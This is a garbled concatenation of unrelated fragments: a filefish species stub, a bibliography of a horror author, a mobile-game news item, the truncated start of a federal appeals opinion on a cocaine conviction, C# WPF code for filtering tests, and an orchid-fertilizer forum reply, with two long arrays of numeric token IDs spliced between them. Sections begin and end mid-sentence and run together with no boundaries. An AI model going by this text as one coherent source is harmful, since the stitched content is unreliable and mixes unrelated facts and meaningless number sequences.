and is widespread throughout the tropical waters of the Indo-west Pacific. It is a small fish that can reach a maximum size of 12 cm length and has the ability to rapidly change color and skin texture and patterns as to avoid detection and consequently predation.. It is oviparous Description On average, it ranges from 3.8-8.9 centimeters (1.5-3.5 inches) in length. It has 27-30 anal spines and 26-29 anal soft rays. Distribution and Ecology It is found in the waters around Sri Lanka, Ishigaki island, the Philippines, Indonesia, New Guinea, Queensland, New Caledonia, and Tonga. It inhabits shallow coral reefs, preferring sections of the reef which contain seagrass. It prefers temperatures of 27.6-29 degrees Celsius (81.7-84.2 degrees Fahrenheit), a dissolved oxygen concentration of 4.51-4.59 mL/L (4510-4590 ppm), and a depth of 2–15 meters (6.6-49.2 feet). Diet It feeds on amphipods, polychaetes, and mollusks. References External links http://www.marinespecies.org/aphia.php?p=taxdetails&id=220054 http://www.fishbase.org/summary/7849 Category:Monacanthidae Category:Fish described in 1758Gerard Daniel Houarner Gerard Daniel Houarner (born 1955) is an American writer of horror, dark fantasy and science fiction short stories and novels. He has had over 280 stories published since 1973. He has been Fiction Editor for Space and Time since 1998. Novels & short fiction collections The Bard of Sorcery (1986) Painfreak (1996) Inside the Works (1997) (with Edward Lee and Tom Piccirilli) I Love You and There Is Nothing You Can Do About It (1998) Road to Hell (1999) Black Orchids from Aum (2000) The Beast That Was Max (2001) Visions Through a Shattered Lens (2002) The Oz Suite (2008) Road From Hell (2007) A Blood of Killers (2009) Waiting for Mister Cool (2013) Dark City: A Novella Collection (2016) (with Brian Hodge) The Sting of Wonder, the Seed of Faith (2016) In the Country of Dreaming Caravans (2017) Dark Wonderland (2018) Anthologies Going Postal (1998) Dead Cats Bouncing, with GAK (2002) Dead Cat's Traveling Circus of Wonders and Miracle Medicine Show, with GAK (2006) Into Painfreak (2016) See also List of horror fiction authors External links Gerard Houarner, Writer Houarner's own site Bibliography interview (2000) at DarkEcho Gerard Houarner, ISFDB The Course of Zombie Love Never Did Run Smooth: Transcendent Union in ‘She’d Make a Dead Man Crawl’ and Shadows of the Dead Dissections, The Journal of Contemporary Horror Space and Time Magazine Visions Through A Shattered Lens, Publishers Weekly review A Blood of Killers, Publishers Weekly review In the Country of Dreaming Caravans, Publishers Weekly Review Category:Living people Category:American horror writers Category:American short story writers Category:American male short story writers Category:American male novelists Category:1955 births Category:20th-century American novelists Category:20th-century American male writersFinnish Riimu Games unveils Heroes of Venturia Oulu-based Riimu Games has revealed Heroes of Venturia, their upcoming free-to-play, fantasy game series for mobile devices. Inspired by football manager gameplay and traditional tabletop role-playing games, players in Heroes of Venturia take on the role of a hero manager. The game features a procedurally-generated story engine that creates a narrative arc within quests, while also generating unique events and creatures. “We are passionate about role-playing games and this passion shows in everything we do,” says Riimu Games CEO Timo Kähtävä. “Our team is all about fantasy worlds.” Check out the alpha gameplay trailer: Heroes of Venturia is slated for soft-launched on Android and iOS devices in select countries this December. UNPUBLISHED UNITED STATES COURT OF APPEALS FOR THE FOURTH CIRCUIT UNITED STATES OF AMERICA,  Plaintiff-Appellee, v.  No. 04-4053 JAMES HOLMAN BROWNING, JR., Defendant-Appellant.  Appeal from the United States District Court for the Middle District of North Carolina, at Durham. William L. Osteen, District Judge. (CR-03-36) Submitted: August 25, 2004 Decided: September 16, 2004 Before SHEDD and DUNCAN, Circuit Judges, and HAMILTON, Senior Circuit Judge. Affirmed by unpublished per curiam opinion. COUNSEL Robert L. McClellan, IVEY, MCCLELLAN, GATTON & TAL- COTT, L.L.P., Greensboro, North Carolina, for Appellant. Anna Mills Wagoner, United States Attorney, Lisa B. Boggs, Assistant United States Attorney, Greensboro, North Carolina, for Appellee. 2 UNITED STATES v. BROWNING Unpublished opinions are not binding precedent in this circuit. See Local Rule 36(c). OPINION PER CURIAM: James Holman Browning, Jr., appeals his conviction and manda- tory life sentence for conspiracy to distribute cocaine base, in viola- tion of 21 U.S.C. §§ 841(b)(1)(A), 846 (2000), and two counts of distribution of cocaine base, in violation of 21 U.S.C. §§ 841(a)(1), (b)(1)(B) (2000). Browning first contends that the district court erred by denying his pre-trial motion for a court-appointed investigator. We review for an abuse of

[ 2033, 8774, 31, 187, 50270, 9486, 2991, 33328, 26943, 19996, 1082, 187, 50270, 92, 187, 50266, 338, 313, 2520, 15, 36597, 366, 5089, 39744, 2295, 3635, 10, 187, 50266, 92, 187, 50262, 2309, 28, 187, 50266, 94, 535, 50266, 2703, 2120, 2402, 9824, 426, 436, 15, 25192, 16135, 2402, 15, 4312, 15, 16911, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 16135, 2402, 9671, 4312, 10, 3736, 2876, 15, 16801, 1163, 436, 15, 25192, 16135, 2402, 15, 4312, 28, 187, 50266, 2703, 32181, 9824, 426, 436, 15, 25192, 43731, 15, 4312, 15, 16911, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 43731, 9671, 4312, 10, 3736, 2876, 15, 16801, 1163, 436, 15, 25192, 43731, 15, 4312, 28, 535, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 9824, 26943, 9, 11546, 2402, 9824, 13, 32181, 9824, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 21979, 26078, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 25302, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 16135, 2402, 15, 25376, 9671, 8590, 9, 709, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 16135, 2402, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 26872, 26078, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 47801, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 16135, 2402, 15, 17613, 410, 9671, 4312, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 16135, 2402, 9671, 4312, 13, 1275, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 16135, 2402, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 10030, 5683, 2362, 273, 253, 34244, 16135, 2402, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 4814, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 16135, 2402, 64, 4814, 5683, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 4814, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 9824, 26943, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 21979, 26078, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 25302, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 43731, 15, 25376, 9671, 8590, 9, 709, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 43731, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 26872, 26078, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 47801, 26078, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 25192, 43731, 15, 17613, 410, 9671, 4312, 9, 36597, 366, 5089, 3145, 7047, 1336, 15, 43731, 9671, 4312, 13, 1275, 436, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 5089, 3145, 7047, 1336, 15, 2513, 43731, 9824, 4531, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 10030, 5683, 2362, 273, 253, 34244, 43731, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 4814, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34244, 43731, 64, 4814, 5683, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 4814, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 9824, 26943, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 15886, 2362, 273, 253, 34795, 5089, 2548, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34795, 5089, 2548, 64, 24431, 15886, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 11316, 5089, 2548, 15, 2513, 24475, 10854, 9807, 426, 2032, 28, 187, 50266, 2520, 15, 11316, 5089, 2548, 15, 26078, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 19815, 2362, 273, 253, 34795, 5089, 2548, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 34795, 5089, 2548, 64, 24431, 19815, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2115, 42617, 24475, 3487, 31489, 15, 68, 2399, 24431, 19815, 9, 36294, 13, 299, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 15682, 2362, 273, 253, 23929, 36597, 366, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 23929, 36597, 366, 64, 7146, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 30540, 253, 1071, 4812, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 9486, 2991, 34692, 5089, 19996, 1082, 187, 50270, 92, 187, 50266, 5089, 1655, 19030, 5089, 426, 436, 15, 27421, 26943, 15, 19030, 5475, 347, 6004, 28, 187, 50266, 2703, 1071, 2548, 426, 436, 15, 11316, 5089, 2548, 15, 4312, 28, 187, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 36597, 366, 40595, 1992, 5089, 9, 6259, 19030, 5089, 13, 1071, 2548, 558, 535, 50266, 2808, 15, 6074, 10069, 1587, 14749, 12894, 281, 26670, 6004, 10498, 342, 2654, 30, 551, 17, 2023, 1071, 18880, 2654, 30, 551, 18, 2023, 13119, 4257, 30, 551, 19, 2023, 8502, 21821, 30, 551, 20, 32722, 436, 15, 36597, 366, 5089, 39744, 15, 40595, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 5089, 40631, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 9395, 4257, 13, 436, 15, 36597, 366, 5089, 39744, 15, 24900, 21821, 558, 187, 50266, 14749, 22853, 15, 11257, 15, 14749, 12894, 1992, 5089, 36, 1169, 13904, 3145, 9, 2520, 13, 436, 15, 36597, 366, 5089, 39744, 15, 40595, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 5089, 40631, 2618, 13, 436, 15, 36597, 366, 5089, 39744, 15, 9395, 4257, 13, 436, 15, 36597, 366, 5089, 39744, 15, 24900, 21821, 558, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 27319, 20007, 7146, 2362, 273, 253, 277, 72, 26943, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 7761, 15, 14877, 15, 8982, 15, 24431, 8880, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 277, 72, 26943, 64, 24431, 20007, 7146, 9, 6082, 22647, 13, 4155, 15, 14877, 15, 8982, 15, 24431, 8880, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 19996, 1874, 187, 50270, 94, 535, 50270, 10638, 654, 8774, 31, 187, 50270, 10638, 10535, 868, 253, 15682, 2362, 273, 253, 23929, 21605, 1453, 15, 187, 50270, 10638, 2033, 8774, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 36294, 1138, 510, 2603, 273, 253, 2362, 8239, 3575, 31, 187, 50270, 10638, 654, 3575, 1416, 568, 70, 1138, 510, 654, 2887, 38921, 568, 48611, 264, 40029, 5647, 4227, 4508, 253, 2362, 941, 8239, 3575, 31, 187, 50270, 9486, 2991, 23929, 21605, 64, 7146, 9, 6082, 22647, 13, 30852, 264, 40029, 299, 10, 187, 50270, 92, 187, 50266, 2520, 15, 36597, 366, 5089, 39744, 15, 21605, 28521, 1874, 187, 50270, 94, 187, 50274, 94, 187, 94, 10851, 1727, 253, 1721, 1076, 4646, 15, 329, 2169, 14164, 313, 18, 296, 1180, 10, 12983, 310, 8521, 323, 390, 348, 2352, 275, 247, 21939, 5878, 15, 4952, 3904, 310, 1175, 323, 6244, 275, 653, 29416, 390, 5202, 269, 1808, 15, 309, 671, 897, 247, 686, 1559, 6188, 14, 2399, 7337, 8, 342, 2169, 374, 2109, 285, 495, 5784, 3904, 672, 6244, 3135, 281, 24147, 15, 187, 187, 42, 717, 8839, 17343, 272, 752, 309, 452, 4767, 323, 253, 806, 4791, 1107, 273, 5675, 13, 533, 12392, 476, 2075, 745, 13, 594, 309, 2868, 253, 1884, 14, 740, 14, 740, 310, 247, 1805, 4327, 984, 273, 253, 4103, 4831, 323, 14164, 13, 2429, 281, 253, 643, 5315, 1406, 307, 11539, 13, 1723, 13, 326, 310, 1663, 417, 247, 3426, 3662, 13, 347, 368, 403, 8505, 2819, 323, 752, 310, 1682, 323, 634, 6244, 15, 187, 187, 6407, 285, 31971, 13, 3997, 7208, 13, 533, 387, 43499, 1698, 6299, 15, 743, 390, 42290, 275, 3753, 588, 11766, 923, 247, 23281, 2900, 313, 1949, 7779, 18779, 6748, 949, 253, 9741, 39625, 10, 326, 310, 1840, 1458, 14, 1099, 28273, 2264, 18224, 33785, 313, 53, 5942, 582, 533, 11403, 326, 3965, 1199, 667, 673, 352, 42229, 428, 5312, 13, 275, 1142, 2219, 15, 733, 2789, 3282, 840, 13, 326, 253, 6244, 588, 452, 16323, 281, 1902, 824, 247, 479, 3800, 13, 533, 10879, 2739, 6186, 15, 2896, 4499, 13, 604, 359, 897, 337, 16, 19, 15893, 273, 253, 1884, 14, 740, 14, 740, 591, 46740, 13, 359, 403, 9433, 690, 1052, 28273, 273, 14164, 3815, 13, 285, 247, 308, 5942, 273, 1475, 16176, 14, 8320, 28273, 2, 49920, 13, 309, 1871, 5583, 337, 16, 25, 394, 15893, 591, 46740, 7019, 247, 2129, 15, 1422, 1472, 1335, 2819, 387, 670, 2233, 28273, 308, 5942, 390, 594, 13, 533, 326, 434, 247, 2257, 1679, 5460, 685, 752, 310, 4390, 1846, 15, 187, 187, 42, 1900, 1869, 359, 943, 3693, 1029, 14, 79, 10682, 30465, 14460, 13, 347, 326, 476, 3523, 247, 4444, 432, 30601, 272, 13 ]

</summary> private void FilterTestsInternal() { if (this.AssociateTestViewModel == null) { return; } string fullNameFilter = this.tbFullName.Text.Equals(AssociateTestViewFilters.FullNameDefaultText)? string.Empty : this.tbFullName.Text; string classNameFilter = this.tbClassName.Text.Equals(AssociateTestViewFilters.ClassNameDefaultText)? string.Empty : this.tbClassName.Text; this.AssociateTestViewModel.FilterTests(fullNameFilter, classNameFilter); } /// <summary> /// Handles the GotFocus event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbFullName_GotFocus(object sender, RoutedEventArgs e) { this.tbFullName.ClearDefaultContent(ref this.AssociateTestViewModel.AssociateTestViewFilters.IsFullNameFilterSet); } /// <summary> /// Handles the LostFocus event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbFullName_LostFocus(object sender, RoutedEventArgs e) { this.tbFullName.RestoreDefaultText(AssociateTestViewFilters.FullNameDefaultText, ref this.AssociateTestViewModel.AssociateTestViewFilters.IsFullNameFilterSet); } /// <summary> /// Handles the KeyUp event of the tbFullName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.KeyEventArgs"/> instance containing the event data.</param> private void tbFullName_KeyUp(object sender, System.Windows.Input.KeyEventArgs e) { this.FilterTestsInternal(); } /// <summary> /// Handles the GotFocus event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbClassName_GotFocus(object sender, RoutedEventArgs e) { this.tbClassName.ClearDefaultContent(ref this.AssociateTestViewModel.AssociateTestViewFilters.IsClassNameFilterSet); } /// <summary> /// Handles the LostFocus event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void tbClassName_LostFocus(object sender, RoutedEventArgs e) { this.tbClassName.RestoreDefaultText(AssociateTestViewFilters.ClassNameDefaultText, ref this.AssociateTestViewModel.AssociateTestViewFilters.IsClassNameFilterSet); } /// <summary> /// Handles the KeyUp event of the tbClassName control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.KeyEventArgs"/> instance containing the event data.</param> private void tbClassName_KeyUp(object sender, System.Windows.Input.KeyEventArgs e) { this.FilterTestsInternal(); } /// <summary> /// Handles the MouseEnter event of the cbTestType control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseEventArgs"/> instance containing the event data.</param> private void cbTestType_MouseEnter(object sender, System.Windows.Input.MouseEventArgs e) { this.cbTestType.IsDropDownOpen = true; this.cbTestType.Focus(); } /// <summary> /// Handles the MouseMove event of the cbTestType control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseEventArgs"/> instance containing the event data.</param> private void cbTestType_MouseMove(object sender, System.Windows.Input.MouseEventArgs e) { ComboBoxDropdownExtensions.cboMouseMove(sender, e); } /// <summary> /// Handles the Click event of the btnAssociate control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void btnAssociate_Click(object sender, RoutedEventArgs e) { this.AssociateTestInternal(); } /// <summary> /// Associates the test internal. /// </summary> private void AssociateTestInternal() { Test currentSelectedTest = this.dgTests.SelectedItem as Test; string testType = this.cbTestType.Text; this.AssociateTestViewModel.AssociateTestCaseToTest(currentSelectedTest, testType); log.InfoFormat("Navigate to Edit Test Case with id= {0}, test suite id= {1}, CreateNew= {2}, Duplicate= {3}", this.AssociateTestViewModel.TestCaseId, this.AssociateTestViewModel.TestSuiteId, this.AssociateTestViewModel.CreateNew, this.AssociateTestViewModel.Duplicate); Navigator.Instance.NavigateToTestCasesEditView(this, this.AssociateTestViewModel.TestCaseId, this.AssociateTestViewModel.TestSuiteId, this.AssociateTestViewModel.CreateNew, this.AssociateTestViewModel.Duplicate); } /// <summary> /// Handles the MouseDoubleClick event of the dgTests control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="System.Windows.Input.MouseButtonEventArgs"/> instance containing the event data.</param> private void dgTests_MouseDoubleClick(object sender, System.Windows.Input.MouseButtonEventArgs e) { this.AssociateTestInternal(); } /// <summary> /// Handles the Click event of the btnRemove control. /// </summary> /// <param name="sender">The source of the event.</param> /// <param name="e">The <see cref="RoutedEventArgs"/> instance containing the event data.</param> private void btnRemove_Click(object sender, RoutedEventArgs e) { this.AssociateTestViewModel.RemoveAssociation(); } } }Depends the potting medium. A higher nitrogen (1st number) fert is recommended for orchids in a bark mix. Even numbers is good for plants in spagh or tree fern. I also use a 'bloom-booster' with higher 2nd and 3rd numbers when plants begin to spike. I am absolutely contradicting what I have stated for the first 35 years of growing, but studying can pay off, so I believe the 30-10-10 is a better choice because of the relative demand for nitrogen, compared to the other macronutrients, However, that is really not a complete answer, as you are apparently looking for what is best for your plants. First and foremost, feed frequently, but at VERY low concentrations. An orchid in nature will rarely see a nutrient solution (rainwater cascading through the forest canopy) that is above 15-25 ppm total dissolved solids (TDS), but sees that pretty much any time it rains - daily, in many cases. It makes sense then, that the plants will have evolved to expect such a meager, but frequent food supply. By contrast, if we use 1/2 teaspoon of the 30-10-10 per gallon, we are applying some 200 ppm of nitrogen alone, and a TDS of around 350-400 ppm! Personally, I'd recommend 1/8th teaspoon per gallon twice a week. You're still looking at about 100 ppm TDS or so, but that's a lot less severe than what is currently common. I always thought we should avoid high-nitrogen fertilizers, as that can stop a plant from blooming,

[ 5516, 1059, 13, 12688, 5602, 47240, 13, 4377, 2070, 254, 13, 285, 20055, 34632, 15, 187, 187, 5288, 2025, 378, 10592, 23012, 1277, 187, 187, 25310, 8598, 274, 310, 271, 3388, 1458, 807, 1711, 30149, 1342, 15, 3032, 2021, 4102, 4395, 281, 253, 35821, 273, 247, 2201, 1982, 2846, 15, 754, 6057, 642, 581, 285, 310, 2197, 281, 271, 42439, 19647, 1029, 2143, 835, 344, 1364, 1056, 521, 1211, 1039, 15, 2058, 1046, 1614, 344, 11449, 84, 521, 1211, 16273, 1974, 15, 3032, 1495, 310, 247, 22820, 15, 380, 4096, 273, 253, 2165, 310, 281, 2940, 342, 779, 949, 247, 1355, 533, 17262, 3006, 15512, 273, 521, 2264, 6797, 433, 318, 15, 187, 187, 1276, 247, 295, 15182, 2, 187, 187, 56, 3887, 9507, 38, 5935, 10197, 2293, 32302, 4966, 388, 30292, 187, 187, 41, 7042, 15353, 310, 634, 6867, 4766, 966, 33963, 1029, 2143, 15, 19296, 896, 281, 368, 673, 275, 1029, 2143, 15, 733, 457, 84, 751, 326, 15, 1310, 368, 1904, 457, 85, 564, 281, 1029, 2143, 275, 253, 1982, 840, 1158, 670, 47998, 22604, 4855, 4726, 275, 773, 35, 26948, 253, 49324, 603, 7335, 4071, 668, 352, 457, 84, 751, 326, 15, 187, 187, 510, 952, 7641, 588, 8008, 342, 403, 27, 380, 295, 15182, 13, 380, 480, 825, 13, 380, 17639, 39892, 313, 6082, 273, 8327, 665, 1912, 457, 85, 1918, 779, 253, 673, 273, 1388, 582, 247, 9371, 9732, 13, 285, 247, 8872, 2531, 8690, 15, 7641, 457, 84, 4651, 13, 26379, 285, 643, 952, 778, 320, 2879, 275, 347, 3058, 15, 187, 187, 510, 2165, 9513, 327, 7641, 457, 84, 806, 1388, 273, 2143, 533, 13451, 778, 6923, 1897, 13, 3618, 390, 1014, 2607, 15, 733, 457, 84, 512, 598, 281, 253, 2165, 6303, 15, 187, 187, 15090, 31164, 52, 42945, 1703, 187, 187, 46250, 285, 17113, 19, 69, 23, 591, 4760, 1229, 390, 594, 294, 14, 1811, 21761, 20, 281, 818, 3773, 313, 14461, 387, 608, 10, 19, 3038, 281, 1132, 187, 187, 52, 15718, 56, 1703, 1108, 3003, 443, 14081, 47000, 7570, 187, 187, 37837, 7184, 310, 247, 2165, 670, 752, 4566, 327, 3304, 247, 1436, 457, 84, 1481, 15, 380, 3773, 1957, 253, 1881, 2312, 359, 512, 452, 15, 380, 2165, 6303, 10262, 253, 3773, 342, 9534, 285, 253, 3773, 3819, 689, 752, 7641, 11121, 344, 943, 513, 13, 840, 253, 15509, 3936, 326, 16879, 285, 8599, 253, 3773, 849, 352, 1663, 3531, 562, 15, 8948, 1841, 588, 1614, 562, 973, 313, 338, 253, 3773, 1705, 598, 342, 247, 5272, 2250, 10, 533, 2223, 352, 4566, 16426, 3430, 984, 31065, 512, 253, 3773, 971, 7641, 281, 320, 34672, 15, 187, 187, 51, 3271, 1410, 187, 187, 49649, 476, 17049, 970, 9503, 285, 1056, 598, 5913, 7906, 597, 971, 533, 281, 1978, 436, 2165, 22024, 266, 309, 21434, 253, 3773, 281, 2017, 11170, 253, 1563, 9503, 594, 597, 452, 17006, 327, 849, 281, 769, 15, 1583, 755, 281, 3984, 275, 253, 4318, 273, 253, 2554, 285, 1611, 281, 755, 7641, 281, 513, 752, 597, 651, 513, 15, 187, 187, 51, 14519, 48, 27, 380, 1607, 22480, 5006, 665, 310, 12969, 407, 521, 32225, 285, 14021, 15, 2415, 1922, 2293, 48, 27, 380, 23327, 20823, 1334, 665, 45219, 642, 581, 15, 41, 2300, 38742, 27, 380, 275, 8632, 261, 422, 5006, 665, 18055, 281, 769, 13, 1919, 344, 689, 250, 10719, 15, 418, 2350, 58, 24871, 35, 12775, 27, 380, 15457, 8877, 259, 31981, 665, 310, 1881, 2343, 31816, 16, 1286, 27009, 15, 47339, 12838, 947, 27, 380, 6963, 665, 45219, 253, 3430, 1436, 285, 840, 3402, 5811, 275, 352, 15, 39, 1556, 37789, 3269, 27, 380, 1881, 24509, 7322, 14664, 3508, 665, 310, 387, 2798, 247, 35840, 15, 40, 14081, 6908, 30883, 27, 380, 15509, 310, 253, 22144, 457, 84, 21424, 273, 253, 2165, 15, 1583, 1053, 457, 85, 452, 247, 4318, 275, 7641, 457, 84, 3998, 533, 3185, 755, 281, 25504, 773, 250, 1319, 668, 327, 779, 15, 733, 7729, 281, 320, 247, 1652, 17877, 15, 380, 15509, 556, 767, 7375, 27, 10338, 598, 253, 13451, 7641, 9365, 13, 285, 1978, 253, 2165, 3515, 25863, 15, 187, 187, 25310, 310, 271, 19328, 28713, 15, 5815, 6200, 13330, 342, 247, 1895, 344, 1537, 2454, 15, 1310, 7641, 476, 760, 8722, 253, 1895, 973, 344, 588, 5115, 2675, 2323, 533, 253, 10502, 403, 1270, 15, 1310, 344, 1057, 417, 6016, 1841, 973, 313, 395, 849, 1142, 31147, 513, 14677, 344, 9365, 2675, 41962, 1657, 15, 187, 187, 510, 15509, 2789, 598, 253, 13451, 15, 733, 310, 1682, 281, 1691, 7641, 310, 247, 4122, 34019, 13, 19328, 4112, 15, 2325, 17877, 15, 187, 187, 510, 15509, 840, 21460, 534, 4760, 7866, 253, 1614, 15, 1583, 778, 1642, 323, 15986, 604, 597, 751, 533, 275, 253, 990, 253, 15509, 21460, 15, 187, 187, 9707, 41631, 47, 2637, 4392, 2185, 40, 5324, 187, 